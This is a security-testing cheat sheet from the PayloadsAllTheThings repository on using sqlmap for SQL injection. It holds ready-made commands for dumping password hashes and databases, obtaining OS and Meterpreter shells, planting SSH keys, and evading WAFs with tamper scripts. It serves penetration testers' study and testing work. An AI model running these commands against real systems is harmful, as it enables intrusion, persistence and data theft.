sqlmap.md (23155B)
1 --- 2 title: "SQLmap" 3 topic: "SQL Injection" 4 topicSlug: "sql-injection" 5 sourcePath: "SQL Injection/SQLmap.md" 6 sourceUrl: "https://github.com/swisskyrepo/PayloadsAllTheThings/blob/3ac27901c711/SQL%20Injection/SQLmap.md" 7 sha: "3ac27901c711" 8 isReadme: false 9 --- 10 11 # SQLmap 12 13 > SQLmap is a powerful tool that automates the detection and exploitation of SQL injection vulnerabilities, saving time and effort compared to manual testing. It supports a wide range of databases and injection techniques, making it versatile and effective in various scenarios. 14 > Additionally, SQLmap can retrieve data, manipulate databases, and even execute commands, providing a robust set of features for penetration testers and security analysts. 15 > Reinventing the wheel isn't ideal because SQLmap has been rigorously developed, tested, and improved by experts. Using a reliable, community-supported tool means you benefit from established best practices and avoid the high risk of missing vulnerabilities or introducing errors in custom code. 16 > However you should always know how SQLmap is working, and be able to replicate it manually if necessary. 17 18 ## Summary 19 20 * [Basic Arguments For SQLmap](#basic-arguments-for-sqlmap) 21 * [Load A Request File](#load-a-request-file) 22 * [Custom Injection Point](#custom-injection-point) 23 * [Second Order Injection](#second-order-injection) 24 * [Getting A Shell](#getting-a-shell) 25 * [Crawl And Auto-Exploit](#crawl-and-auto-exploit) 26 * [Proxy Configuration For SQLmap](#proxy-configuration-for-sqlmap) 27 * [Injection Tampering](#injection-tampering) 28 * [Suffix And Prefix](#suffix-and-prefix) 29 * [Default Tamper Scripts](#default-tamper-scripts) 30 * [Custom Tamper Scripts](#custom-tamper-scripts) 31 * [Custom SQL Payload](#custom-sql-payload) 32 * [Evaluate Python Code](#evaluate-python-code) 33 * [Preprocess And Postprocess Scripts](#preprocess-and-postprocess-scripts) 34 * [Reduce Requests Number](#reduce-requests-number) 35 * [SQLmap Without SQL Injection](#sqlmap-without-sql-injection) 36 * [References](#references) 37 38 ## Basic Arguments For SQLmap 39 40 ```powershell 41 sqlmap --url="<url>" -p username --user-agent=SQLMAP --random-agent --threads=10 --risk=3 --level=5 --eta --dbms=MySQL --os=Linux --banner --is-dba --users --passwords --current-user --dbs 42 ``` 43 44 ## Load A Request File 45 46 A request file in SQLmap is a saved HTTP request that SQLmap reads and uses to perform SQL injection testing. This file allows you to provide a complete and custom HTTP request, which SQLmap can use to target more complex applications. 47 48 ```powershell 49 sqlmap -r request.txt 50 ``` 51 52 ## Custom Injection Point 53 54 A custom injection point in SQLmap allows you to specify exactly where and how SQLmap should attempt to inject payloads into a request. This is useful when dealing with more complex or non-standard injection scenarios that SQLmap may not detect automatically. 55 56 By defining a custom injection point with the wildcard character '`*`' , you have finer control over the testing process, ensuring SQLmap targets specific parts of the request you suspect to be vulnerable. 57 58 ```powershell 59 sqlmap -u "http://example.com" --data "username=admin&password=pass" --headers="x-forwarded-for:127.0.0.1*" 60 ``` 61 62 ## Second Order Injection 63 64 A second-order SQL injection occurs when malicious SQL code injected into an application is not executed immediately but is instead stored in the database and later used in another SQL query. 65 66 ```powershell 67 sqlmap -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3 68 sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs 69 ``` 70 71 ## Getting A Shell 72 73 * SQL Shell: 74 75 ```ps1 76 sqlmap -u "http://example.com/?id=1" -p id --sql-shell 77 ``` 78 79 * OS Shell: 80 81 ```ps1 82 sqlmap -u "http://example.com/?id=1" -p id --os-shell 83 ``` 84 85 * Meterpreter: 86 87 ```ps1 88 sqlmap -u "http://example.com/?id=1" -p id --os-pwn 89 ``` 90 91 * SSH Shell: 92 93 ```ps1 94 sqlmap -u "http://example.com/?id=1" -p id --file-write=/root/.ssh/id_rsa.pub --file-destination=/home/user/.ssh/ 95 ``` 96 97 ## Crawl And Auto-Exploit 98 99 This method is not advisable for penetration testing; it should only be used in controlled environments or challenges. It will crawl the entire website and automatically submit forms, which may lead to unintended requests being sent to sensitive features like "delete" or "destroy" endpoints. 100 101 ```powershell 102 sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3 103 ``` 104 105 * `--batch` = Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers 106 * `--crawl` = How deep you want to crawl a site 107 * `--forms` = Parse and test forms 108 109 ## Proxy Configuration For SQLmap 110 111 To run SQLmap with a proxy, you can use the `--proxy` option followed by the proxy URL. SQLmap supports various types of proxies such as HTTP, HTTPS, SOCKS4, and SOCKS5. 112 113 ```powershell 114 sqlmap -u "http://www.target.com" --proxy="http://127.0.0.1:8080" 115 sqlmap -u "http://www.target.com/page.php?id=1" --proxy="http://127.0.0.1:8080" --proxy-cred="user:pass" 116 ``` 117 118 * HTTP Proxy: 119 120 ```ps1 121 --proxy="http://[username]:[password]@[proxy_ip]:[proxy_port]" 122 --proxy="http://user:pass@127.0.0.1:8080" 123 ``` 124 125 * SOCKS Proxy: 126 127 ```ps1 128 --proxy="socks4://[username]:[password]@[proxy_ip]:[proxy_port]" 129 --proxy="socks4://user:pass@127.0.0.1:1080" 130 ``` 131 132 * SOCKS5 Proxy: 133 134 ```ps1 135 --proxy="socks5://[username]:[password]@[proxy_ip]:[proxy_port]" 136 --proxy="socks5://user:pass@127.0.0.1:1080" 137 ``` 138 139 ## Injection Tampering 140 141 In SQLmap, tampering can help you adjust the injection in specific ways required to bypass web application firewalls (WAFs) or custom sanitization mechanisms. SQLmap provides various options and techniques to tamper with the payloads being used for SQL injection. 142 143 ### Suffix And Prefix 144 145 The `--suffix` and `--prefix` options allow you to specify additional strings that should be appended or prepended to the payloads generated by SQLMap. These options can be useful when the target application requires specific formatting or when you need to bypass certain filters or protections. 146 147 ```powershell 148 sqlmap -u "http://example.com/?id=1" -p id --suffix="-- " 149 ``` 150 151 * `--suffix=SUFFIX`: The `--suffix` option appends a specified string to the end of each payload generated by SQLMap. 152 * `--prefix=PREFIX`: The `--prefix` option prepends a specified string to the beginning of each payload generated by SQLMap. 153 154 ### Default Tamper Scripts 155 156 A tamper script is a script that modifies the SQL injection payloads to evade detection by WAFs or other security mechanisms. SQLmap comes with a variety of pre-built tamper scripts that can be used to automatically adjust payloads 157 158 ```powershell 159 sqlmap -u "http://targetwebsite.com/vulnerablepage.php?id=1" --tamper=<tamper-script-name> 160 ``` 161 162 Below is a table highlighting some of the most commonly used tamper scripts: 163 164 | Tamper | Description | 165 | ---------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------- | 166 | 0x2char.py | Replaces each (MySQL) 0xHEX encoded string with equivalent CONCAT(CHAR(),…) counterpart | 167 | apostrophemask.py | Replaces apostrophe character with its UTF-8 full width counterpart | 168 | apostrophenullencode.py | Replaces apostrophe character with its illegal double unicode counterpart | 169 | appendnullbyte.py | Appends encoded NULL byte character at the end of payload | 170 | base64encode.py | Base64 all characters in a given payload | 171 | between.py | Replaces greater than operator ('>') with 'NOT BETWEEN 0 AND #' | 172 | bluecoat.py | Replaces space character after SQL statement with a valid random blank character.Afterwards replace character = with LIKE operator | 173 | chardoubleencode.py | Double url-encodes all characters in a given payload (not processing already encoded) | 174 | charencode.py | URL-encodes all characters in a given payload (not processing already encoded) (e.g. SELECT -> %53%45%4C%45%43%54) | 175 | charunicodeencode.py | Unicode-URL-encodes all characters in a given payload (not processing already encoded) (e.g. SELECT -> %u0053%u0045%u004C%u0045%u0043%u0054) | 176 | charunicodeescape.py | Unicode-escapes non-encoded characters in a given payload (not processing already encoded) (e.g. SELECT -> \u0053\u0045\u004C\u0045\u0043\u0054) | 177 | commalesslimit.py | Replaces instances like 'LIMIT M, N' with 'LIMIT N OFFSET M' | 178 | commalessmid.py | Replaces instances like 'MID(A, B, C)' with 'MID(A FROM B FOR C)' | 179 | commentbeforeparentheses.py | Prepends (inline) comment before parentheses (e.g. ( -> /**/() | 180 | concat2concatws.py | Replaces instances like 'CONCAT(A, B)' with 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)' | 181 | charencode.py | Url-encodes all characters in a given payload (not processing already encoded) | 182 | charunicodeencode.py | Unicode-url-encodes non-encoded characters in a given payload (not processing already encoded) | 183 | equaltolike.py | Replaces all occurrences of operator equal ('=') with operator 'LIKE' | 184 | escapequotes.py | Slash escape quotes (' and ") | 185 | greatest.py | Replaces greater than operator ('>') with 'GREATEST' counterpart | 186 | halfversionedmorekeywords.py | Adds versioned MySQL comment before each keyword | 187 | htmlencode.py | HTML encode (using code points) all non-alphanumeric characters (e.g. ' -> ') | 188 | ifnull2casewhenisnull.py | Replaces instances like 'IFNULL(A, B)' with 'CASE WHEN ISNULL(A) THEN (B) ELSE (A) END' counterpart | 189 | ifnull2ifisnull.py | Replaces instances like 'IFNULL(A, B)' with 'IF(ISNULL(A), B, A)' | 190 | informationschemacomment.py | Add an inline comment (/**/) to the end of all occurrences of (MySQL) "information_schema" identifier | 191 | least.py | Replaces greater than operator ('>') with 'LEAST' counterpart | 192 | lowercase.py | Replaces each keyword character with lower case value (e.g. SELECT -> select) | 193 | modsecurityversioned.py | Embraces complete query with versioned comment | 194 | modsecurityzeroversioned.py | Embraces complete query with zero-versioned comment | 195 | multiplespaces.py | Adds multiple spaces around SQL keywords | 196 | nonrecursivereplacement.py | Replaces predefined SQL keywords with representations suitable for replacement (e.g. .replace("SELECT", "")) filters | 197 | overlongutf8.py | Converts all characters in a given payload (not processing already encoded) | 198 | overlongutf8more.py | Converts all characters in a given payload to overlong UTF8 (not processing already encoded) (e.g. SELECT -> %C1%93%C1%85%C1%8C%C1%85%C1%83%C1%94) | 199 | percentage.py | Adds a percentage sign ('%') infront of each character | 200 | plus2concat.py | Replaces plus operator ('+') with (MsSQL) function CONCAT() counterpart | 201 | plus2fnconcat.py | Replaces plus operator ('+') with (MsSQL) ODBC function {fn CONCAT()} counterpart | 202 | randomcase.py | Replaces each keyword character with random case value | 203 | randomcomments.py | Add random comments to SQL keywords | 204 | securesphere.py | Appends special crafted string | 205 | sp_password.py | Appends 'sp_password' to the end of the payload for automatic obfuscation from DBMS logs | 206 | space2comment.py | Replaces space character (' ') with comments | 207 | space2dash.py | Replaces space character (' ') with a dash comment ('--') followed by a random string and a new line ('\n') | 208 | space2hash.py | Replaces space character (' ') with a pound character ('#') followed by a random string and a new line ('\n') | 209 | space2morehash.py | Replaces space character (' ') with a pound character ('#') followed by a random string and a new line ('\n') | 210 | space2mssqlblank.py | Replaces space character (' ') with a random blank character from a valid set of alternate characters | 211 | space2mssqlhash.py | Replaces space character (' ') with a pound character ('#') followed by a new line ('\n') | 212 | space2mysqlblank.py | Replaces space character (' ') with a random blank character from a valid set of alternate characters | 213 | space2mysqldash.py | Replaces space character (' ') with a dash comment ('--') followed by a new line ('\n') | 214 | space2plus.py | Replaces space character (' ') with plus ('+') | 215 | space2randomblank.py | Replaces space character (' ') with a random blank character from a valid set of alternate characters | 216 | symboliclogical.py | Replaces AND and OR logical operators with their symbolic counterparts (&& and \|\|) | 217 | unionalltounion.py | Replaces UNION ALL SELECT with UNION SELECT | 218 | unmagicquotes.py | Replaces quote character (') with a multi-byte combo %bf%27 together with generic comment at the end (to make it work) | 219 | uppercase.py | Replaces each keyword character with upper case value 'INSERT' | 220 | varnish.py | Append a HTTP header 'X-originating-IP' | 221 | versionedkeywords.py | Encloses each non-function keyword with versioned MySQL comment | 222 | versionedmorekeywords.py | Encloses each keyword with versioned MySQL comment | 223 | xforwardedfor.py | Append a fake HTTP header 'X-Forwarded-For' | 224 225 ### Custom Tamper Scripts 226 227 When creating a custom tamper script, there are a few things to keep in mind. The script architecture contains these mandatory variables and functions: 228 229 * `__priority__`: Defines the order in which tamper scripts are applied. This sets how early or late SQLmap should apply your tamper script in the tamper pipeline. Normal priority is 0 and the highest is 100. 230 * `dependencies()`: This function gets called before the tamper script is used. 231 * `tamper(payload)`: The main function that modifies the payload. 232 233 The following code is an example of a tamper script that replace instances like '`LIMIT M, N`' with '`LIMIT N OFFSET M`' counterpart: 234 235 ```py 236 import os 237 import re 238 239 from lib.core.common import singleTimeWarnMessage 240 from lib.core.enums import DBMS 241 from lib.core.enums import PRIORITY 242 243 __priority__ = PRIORITY.HIGH 244 245 def dependencies(): 246 singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL)) 247 248 def tamper(payload, **kwargs): 249 retVal = payload 250 251 match = re.search(r"(?i)LIMIT\s*(\d+),\s*(\d+)", payload or "") 252 if match: 253 retVal = retVal.replace(match.group(0), "LIMIT %s OFFSET %s" % (match.group(2), match.group(1))) 254 255 return retVal 256 ``` 257 258 * Save it as something like: `mytamper.py` 259 * Place it inside SQLmap's `tamper/` directory, typically: 260 261 ```ps1 262 /usr/share/sqlmap/tamper/ 263 ``` 264 265 * Use it with SQLmap 266 267 ```ps1 268 sqlmap -u "http://target.com/vuln.php?id=1" --tamper=mytamper 269 ``` 270 271 ### Custom SQL Payload 272 273 The `--sql-query` option in SQLmap is used to manually run your own SQL query on a vulnerable database after SQLmap has confirmed the injection and gathered necessary access. 274 275 ```ps1 276 sqlmap -u "http://example.com/vulnerable.php?id=1" --sql-query="SELECT version()" 277 ``` 278 279 ### Evaluate Python Code 280 281 The `--eval` option lets you define or modify request parameters using Python. The evaluated variables can then be used inside the URL, headers, cookies, etc. 282 283 Particularly useful in scenarios such as: 284 285 * **Dynamic parameters**: When a parameter needs to be randomly or sequentially generated. 286 * **Token generation**: For handling CSRF tokens or dynamic auth headers. 287 * **Custom logic**: E.g., encoding, encryption, timestamps, etc. 288 289 ```ps1 290 sqlmap -u "http://example.com/vulnerable.php?id=1" --eval="import random; id=random.randint(1,10)" 291 sqlmap -u "http://example.com/vulnerable.php?id=1" --eval="import hashlib;id2=hashlib.md5(id).hexdigest()" 292 ``` 293 294 ### Preprocess And Postprocess Scripts 295 296 ```ps1 297 sqlmap -u 'http://example.com/vulnerable.php?id=1' --preprocess=preprocess.py --postprocess=postprocess.py 298 ``` 299 300 #### Preprocessing Script (preprocess.py) 301 302 The preprocessing script is used to modify the request data before it is sent to the target application. This can be useful for encoding parameters, adding headers, or other request modifications. 303 304 ```ps1 305 --preprocess=preprocess.py Use given script(s) for preprocessing (request) 306 ``` 307 308 **Example preprocess.py**: 309 310 ```ps1 311 #!/usr/bin/env python 312 def preprocess(req): 313 print("Preprocess") 314 print(req) 315 ``` 316 317 #### Postprocessing Script (postprocess.py) 318 319 The postprocessing script is used to modify the response data after it is received from the target application. This can be useful for decoding responses, extracting specific data, or other response modifications. 320 321 ```ps1 322 --postprocess=postprocess.py Use given script(s) for postprocessing (response) 323 ``` 324 325 ## Reduce Requests Number 326 327 The parameter `--test-filter` is helpful when you want to focus on specific types of SQL injection techniques or payloads. Instead of testing the full range of payloads that SQLMap has, you can limit it to those that match a certain pattern, making the process more efficient, especially on large or slow web applications. 328 329 ```ps1 330 sqlmap -u "https://www.target.com/page.php?category=demo" -p category --test-filter="Generic UNION query (NULL)" 331 sqlmap -u "https://www.target.com/page.php?category=demo" --test-filter="boolean" 332 ``` 333 334 By default, SQLmap runs with level 1 and risk 1, which generates fewer requests. Increasing these values without a purpose may lead to a larger number of tests that are time-consuming and unnecessary. 335 336 ```ps1 337 sqlmap -u "https://www.target.com/page.php?id=1" --level=1 --risk=1 338 ``` 339 340 Use the `--technique` option to specify the types of SQL injection techniques to test for, rather than testing all possible ones. 341 342 ```ps1 343 sqlmap -u "https://www.target.com/page.php?id=1" --technique=B 344 ``` 345 346 ## SQLmap Without SQL Injection 347 348 Using SQLmap without exploiting SQL injection vulnerabilities can still be useful for various legitimate purposes, particularly in security assessments, database management, and application testing. 349 350 You can use SQLmap to access a database via its port instead of a URL. 351 352 ```ps1 353 sqlmap -d "mysql://user:pass@ip/database" --dump-all 354 ``` 355 356 ## References 357 358 * [#SQLmap protip - @zh4ck - March 10, 2018](https://web.archive.org/web/20240827145141/https://twitter.com/zh4ck/status/972441560875970560) 359 * [Exploiting Second Order SQLi Flaws by using Burp & Custom Sqlmap Tamper - Mehmet Ince - August 1, 2017](https://web.archive.org/web/20170802071522/https://pentest.blog/exploiting-second-order-sqli-flaws-by-using-burp-custom-sqlmap-tamper/)